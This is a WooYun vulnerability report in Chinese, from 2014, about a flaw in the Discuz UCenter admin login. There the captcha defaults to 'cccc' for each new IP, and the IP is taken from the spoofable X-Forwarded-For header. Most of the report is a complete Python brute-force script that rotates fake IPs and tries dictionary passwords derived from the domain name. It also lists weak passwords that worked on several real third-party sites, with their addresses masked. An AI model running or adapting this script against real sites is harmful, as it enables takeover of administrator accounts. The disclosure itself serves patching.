当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080211

漏洞标题:Discuz 的UCenter创始人密码可被爆破(有案例)

相关厂商:Discuz!

漏洞作者: JJ Fly

提交时间:2014-10-21 09:37

修复时间:2015-01-19 09:38

公开时间:2015-01-19 09:38

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-21: 细节已通知厂商并且等待厂商处理中
2014-10-21: 厂商已经确认,细节仅向厂商公开
2014-10-24: 细节向第三方安全合作伙伴开放
2014-12-15: 细节向核心白帽子及相关领域专家公开
2014-12-25: 细节向普通白帽子公开
2015-01-04: 细节向实习白帽子公开
2015-01-19: 细节向公众公开

简要描述:

没看源码,直接黑盒测试的。非验证码识别。
so 附上利用代码+几个成功案例。

详细说明:

http://192.168.1.105/discuz/uc_server/admin.php

图片1.png


含有一个验证码
验证码的地址为
http://localhost/discuz/uc_server/admin.php?m=seccode&seccodeauth=250dIGq%2FYDhocuXf3IrsBkvB2k23JXlXAbuWr3X1liUcX94&7500
但是
经过测试发现
登录uc_server的时候 如果ip第一次出现那么 seccode的默认值为cccc
而 ip地址 是通过X-Forwarded-For 获取的。
也就是我们修改xff的ip之后,再次打开上面那个验证码url,图片的值为cccc

图片9.png


所以可以写一个程序通过修改X-Forwarded-For的值爆破密码。

漏洞证明:

程序写好了 如下。(代码渣,见谅。)拿创始人密码做案例,管理员密码应该也可以。
<poc>

#coding:utf-8
import httplib,re,random,urllib,time
from sys import argv
# 进行爆破
def getHtml(host,htmlhash,htmlpass,htmlseccode):
ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))
postHead={"Host":host,"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0","X-Forwarded-For":ip,'Content-Type':'application/x-www-form-urlencoded','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Connection':'keep-alive'}
postContent='sid=&formhash='+htmlhash+'&seccodehidden='+htmlseccode+'&iframe=0&isfounder=1&password='+htmlpass+'&seccode=cccc&submit=%E7%99%BB+%E5%BD%95'
resultHtml=httplib.HTTPConnection(host, 80, False)
resultHtml.request('POST','/uc_server/admin.php?m=user&a=login',body=postContent,headers = postHead )
page=resultHtml.getresponse()
pageConect=page.read()
return pageConect
#获取 formhash 和 seccodehidden
def gethashs(host):
url='http://'+host+'/uc_server/admin.php'
pageContent=urllib.urlopen(url).read()
r1=re.compile('<input type="hidden" name="formhash" value="(\S+)" />')
htmlhash=r1.findall(pageContent)[0]
r2=re.compile('<input type="hidden" name="seccodehidden" value="(\S+)" />')
htmlseccode=r2.findall(pageContent)[0]
return htmlhash+' '+htmlseccode
#通过argv获取 host 字典 间隔时间 进行爆破
if(len(argv)==1):
print '---->python '+argv[0]+' host地址 字典文件 间隔时间'
print '---->python '+argv[0]+' 192.168.1.105 pass.txt 0.2'
else:
host=argv[1]
passfile=argv[2]
sleeptime=argv[3]
print '网站host为 '+host
#取域名 然后添加一些密码
hostuser=host.split('.')
hostuser=hostuser[len(hostuser)-2]
hostpass=[hostuser+'123',hostuser+'888',hostuser+hostuser,hostuser+'..',hostuser+'.',hostuser+'admin888',hostuser+'admin123',hostuser+'admin',hostuser+'123456']
print '密码字典为 '+passfile
print '间隔时间为 '+sleeptime
print '--->'
x=gethashs(host).split(' ')
f=open(passfile,'r')
htmlpass=f.read().split('\r\n')
htmlpass=hostpass+htmlpass
f.close()
for i in range(len(htmlpass)):
time.sleep(float(sleeptime))
print '正在尝试密码'+htmlpass[i]
if(getHtml(host,x[0],htmlpass[i],x[1])==''):
print '密码为 '+htmlpass[i]
break


</poc>

图片2.png


python dz_blast.py 192.168.1.117 pass.txt 0
192.168.1.117 新建的一个虚拟机 里面搭建的dz

图片3.png


附上几个成功案例
手头没有这种字典,就随便添加了几个密码测试了下,都是很常见的弱口令

mask 区域
1.http://**.**.**/ admin123456_
2.http://**.**.**/ admin_
3.http://**.**.**/ 123456


图片1.png


图片6.png


图片7.png


图片8.png


修复方案:

你们更专业

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-10-21 09:43

厂商回复:

谢谢您发现问题。我们尽快予以处理

最新状态:

暂无